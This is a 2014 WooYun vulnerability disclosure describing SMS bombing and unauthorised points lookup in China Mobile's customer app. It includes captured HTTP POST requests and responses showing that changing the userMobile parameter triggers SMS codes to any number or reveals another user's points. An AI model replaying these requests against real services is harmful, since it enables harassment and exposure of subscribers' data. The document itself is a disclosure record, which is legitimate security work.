当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063712

漏洞标题:中移动APP导致短信轰炸和任意用户积分查询

相关厂商:中国移动

漏洞作者: sxx

提交时间:2014-06-06 11:56

修复时间:2014-07-23 21:12

公开时间:2014-07-23 21:12

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-06: 细节已通知厂商并且等待厂商处理中
2014-06-11: 厂商已经确认,细节仅向厂商公开
2014-06-21: 细节向核心白帽子及相关领域专家公开
2014-07-01: 细节向普通白帽子公开
2014-07-11: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

中移动APP导致短信轰炸和任意用户积分查询

详细说明:

手机营业厅最新版APP存在短信轰炸和任意用户积分查询安全问题,APP下载地址如下:
http://clientdispatch.10086.cn:8080/downfile/apk/CM10086_android_V1.9.0_0515.apk
通过对中国移动手机营业厅的APP简单抓包分析,如下:

漏洞证明:

短信轰炸,以下问题重现需要登录并获取token后再进行操作,在使用积分兑换礼物时,有个短信校验的功能,通过对提交的数据抓包分析,发现可修改参数“13800138000”为任意手机号码,并进行短信轰炸。
POST /mPhoneServer/httpReceiver HTTP/1.1
JSESSIONID: JSESSIONID=C758B4E62FFCB662964182CA1C294AA7
Content-Length: 335
Content-Type: application/x-www-form-urlencoded
Host: jf.10086.cn
Connection: Keep-Alive
User-Agent: Mozilla/5.0(Linux;U;Android 2.2.1;en-us;Nexus One Build.FRG83) AppleWebKit/553.1(KHTML,like Gecko) Version/4.0 Mobile Safari/533.1
Expect: 100-continue
Cookie: JSESSIONID=C758B4E62FFCB662964182CA1C294AA7
Cookie2: $Version=1
paramdata=%7B%22mobileModel%22%3A%22iphone%22%2C%22wareBrand%22%3A%220%22%2C%22busicode%22%3A%22fsdxqrm%22%2C%22pattern%22%3A%22android%22%2C%22token%22%3A%22JSESSIONID%3D00001jPOAEOzzOmFMZ0l3w0dEE0%3A-1%3BTicketID%3D45%22%2C%22userMobile%22%3A%2213800138000%22%2C%22mobileProvince%22%3A%22sh%22%2C%22version%22%3A%222.1.1%22%7D
HTTP/1.1 100 Continue
Via: 1.1 ID-0002262030454512 uproxy-2
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain;charset=UTF-8
Date: Wed, 04 Jun 2014 08:52:00 GMT
Connection: Keep-alive
Keep-Alive: timeout=15, max=100
Via: 1.1 ID-0002262030454512 uproxy-2
Content-Length: 102
{"isSuccess":"1","retCode":"0000","retInfo":{"confirmCode":"****"},"isLogin":"ok","isHasUserInfo":"0"}

Unnamed.jpg


任意用户积分查询,以下问题重现需要登录并获取token后再进行操作,在登录移动APP后,对请求的数据进行截取,如下:
POST /mPhoneServer/httpReceiver HTTP/1.1
Content-Length: 272
Content-Type: application/x-www-form-urlencoded
Host: jf.10086.cn
Connection: Keep-Alive
User-Agent: Mozilla/5.0(Linux;U;Android 2.2.1;en-us;Nexus One Build.FRG83) AppleWebKit/553.1(KHTML,like Gecko) Version/4.0 Mobile Safari/533.1
Expect: 100-continue
paramdata=%7B%22mobileModel%22%3A%22iphone%22%2C%22userMobile%22%3A%2213800138000%22%2C%22busicode%22%3A%22hqyhxx%22%2C%22pattern%22%3A%22android%22%2C%22token%22%3A%22JSESSIONID%3D00001jPOAEOzzOmFMZ0l3w0dEE0%3A-1%3BTicketID%3D45%22%2C%22version%22%3A%222.1.1%22%7D
返回数据:
HTTP/1.1 100 Continue
Via: 1.1 ID-0002262030454512 uproxy-7
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=C758B4E62FFCB662964182CA1C294AA7; Path=/mPhoneServer; Secure
Content-Type: text/plain;charset=UTF-8
Date: Wed, 04 Jun 2014 08:34:37 GMT
Connection: Keep-alive
Keep-Alive: timeout=15, max=100
Via: 1.1 ID-0002262030454512 uproxy-7
Content-Length: 201
{"isSuccess":"1","retCode":"0000","retInfo":{"userMobile":"13800138000","wareBrand":"0","userLevel":"100","userStatus":"00","mobileProvince":"zj","userScore":"9799"},"isLogin":"ok","isHasUserInfo":"0"}
其中userScore值为当前用户积分数量,修改请求的手机号码,即可查看任意用户积分信息

修复方案:

增加权限验证

版权声明:转载请注明来源 sxx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-06-11 10:50

厂商回复:

CNVD确认所述情况,已经转报给中国移动集团公司处置。

最新状态:

暂无